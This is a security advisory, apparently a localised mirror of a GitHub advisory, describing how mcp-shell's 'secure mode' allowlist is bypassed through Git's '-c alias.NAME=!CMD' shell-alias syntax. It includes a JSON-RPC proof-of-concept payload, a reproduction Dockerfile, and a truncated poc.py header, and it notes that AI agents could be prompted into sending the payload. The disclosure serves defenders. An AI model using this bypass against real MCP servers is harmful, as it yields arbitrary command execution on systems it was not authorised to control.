Résumé
mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias
Détails de l’avis
Summary
mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\``) but omits !, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke the shell_execMCP tool can pass/usr/bin/git -c alias.pwn=!as the command argument, bypassing all validation and achieving arbitrary OS command execution as themcp-shellprocess user. The default Docker image runs asmcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.
Details
The vulnerability is a classic OS Command Injection (CWE-78) in the shell_exec MCP tool handler. The data flow from attacker input to shell execution is:
main.go:89-91— The MCP tool schema exposes a required string parametercommandwith no server-side type constraints.main.go:102—shell_execis bound toshellHandler.handle.handler.go:34— The handler reads the attacker-controlled value:command, err := request.RequireString("command").handler.go:49— The command string is passed toh.validator.validateCommand(command).security.go:136—containsShellMetacharacterschecks for|&;<>(){}[]$\`` but!` is absent from the blocked set.security.go:147-149—containsDangerousShellConstructsalso does not include!.security.go:85-96—/usr/bin/gitmatchesAllowedExecutables; no per-argument policy exists for Git. Theblocked_patternslist insecurity.yaml:35is empty ([]).handler.go:59— The fully validated (but unsafe) command is forwarded toh.executor.execute.executor.go:149-163—parseCommandsplits the string withstrings.Fields;exec.CommandContext(ctx, executable, args...)is called withexecutable="/usr/bin/git"andargs=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"].executor.go:199—cmd.Run()launchesgit. Git interprets-c alias.pwn=!touchas a runtime configuration entry, defining the aliaspwnas the shell commandtouch. When Git resolves the subcommandpwn, it triggers the shell alias:sh -c 'touch "$@"' _ /tmp/target, creating the file.
The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.*=! pattern.
Incriminated source locations:
security.go:136— metacharacter set missing!security.go:147-149—containsDangerousShellConstructsmissing!security.yaml:27—/usr/bin/gitinallowed_executablessecurity.yaml:35—blocked_patterns: []executor.go:149-163,199— directexec.CommandContextinvocation with unsanitized Git arguments
PoC
Prerequisites:
- Docker installed and the
mcp-shell-vuln-001image built from the providedDockerfile(repo root as build context, commitc30862f). - Python 3 to run
poc.py.
Build the Docker image:
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
Run the PoC:
python3 vuln-001/poc.py
The script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {
"command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc",
"base64": false
}
}
}
The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.
Expected result:
- MCP response:
{"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}} - Evidence file created at
<host_tmp>/mcp-shell-mcp-pocwithuid=1000(mcpuser), confirming arbitrary shell command execution inside the container.
Validation bypass explanation:
| Check | Value tested | Result |
|---|---|---|
containsShellMetacharacters |
alias.pwn=!touch |
false — ! not in blocklist |
containsDangerousShellConstructs |
alias.pwn=!touch |
false — ! not in blocklist |
matchesExecutable |
/usr/bin/git |
true — in AllowedExecutables |
All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.
Impact
This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.
The default Docker deployment sets MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shell_exec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.
Impacted parties:
- Users and operators who deploy the default
mcp-shellDocker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network). - AI agent systems that integrate
mcp-shellas a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as thecommandargument.
Reproduction artifacts
Dockerfile
# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
# CWE-78: OS Command Injection
#
# This Dockerfile reproduces the exact default Docker deployment environment of
# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.
#
# Vulnerability summary:
# - security.yaml allows /usr/bin/git in allowed_executables
# - The security validator (security.go) does not block '!' in arguments
# - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command
# - This bypasses "secure mode" and achieves arbitrary command execution
#
# Build context must be the repo parent directory:
# docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
# Stage 1: Build the mcp-shell binary from the vulnerable source
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git ca-certificates
WORKDIR /src
# Download dependencies before copying source for better layer caching
COPY repo/go.mod repo/go.sum ./
RUN go mod download
# Copy and build the vulnerable source
COPY repo/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-s -w" \
-o mcp-shell .
# Stage 2: Runtime environment matching the default mcp-shell Docker image
FROM alpine:3.22
# Install git — this is what the default Dockerfile does (apk add git),
# and it is what makes the exploit possible: /usr/bin/git is present and
# the security config allows it.
RUN apk add --no-cache bash git
# Create non-root user matching the default Docker image
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
# Install the mcp-shell binary
COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell
# Install the default (vulnerable) security configuration.
# Key properties that enable the exploit:
# allowed_executables includes /usr/bin/git
# blocked_patterns is empty
# security.go does not list '!' in blocked metacharacters
COPY repo/security.yaml /etc/mcp-shell/security.yaml
# Replicate the default environment variables from the repo Dockerfile
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV MCP_SHELL_LOG_FORMAT=json
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /home/mcpuser
# mcp-shell reads JSON-RPC over stdin and writes responses to stdout
ENTRYPOINT ["mcp-shell"]
poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mod
Références
- https://github.com/advisories/GHSA-74hp-mggr-hv58
- https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58
- https://github.com/sonirico/mcp-shell/pull/16
- https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f
- https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-73222
Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)
- HIGHCVE-2026-73667
OpenChoreo: Authenticated OS command injection via OpenChoreo Workflow Plane templates enables code execution in privileged pods
- HIGHCVE-2026-55673
PowSyBl Core has Command Injection in LocalCommandExecutor-s
- CRITICALCVE-2026-45018
Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
- HIGHCVE-2026-55580
mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist
- HIGHCVE-2026-55581
mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable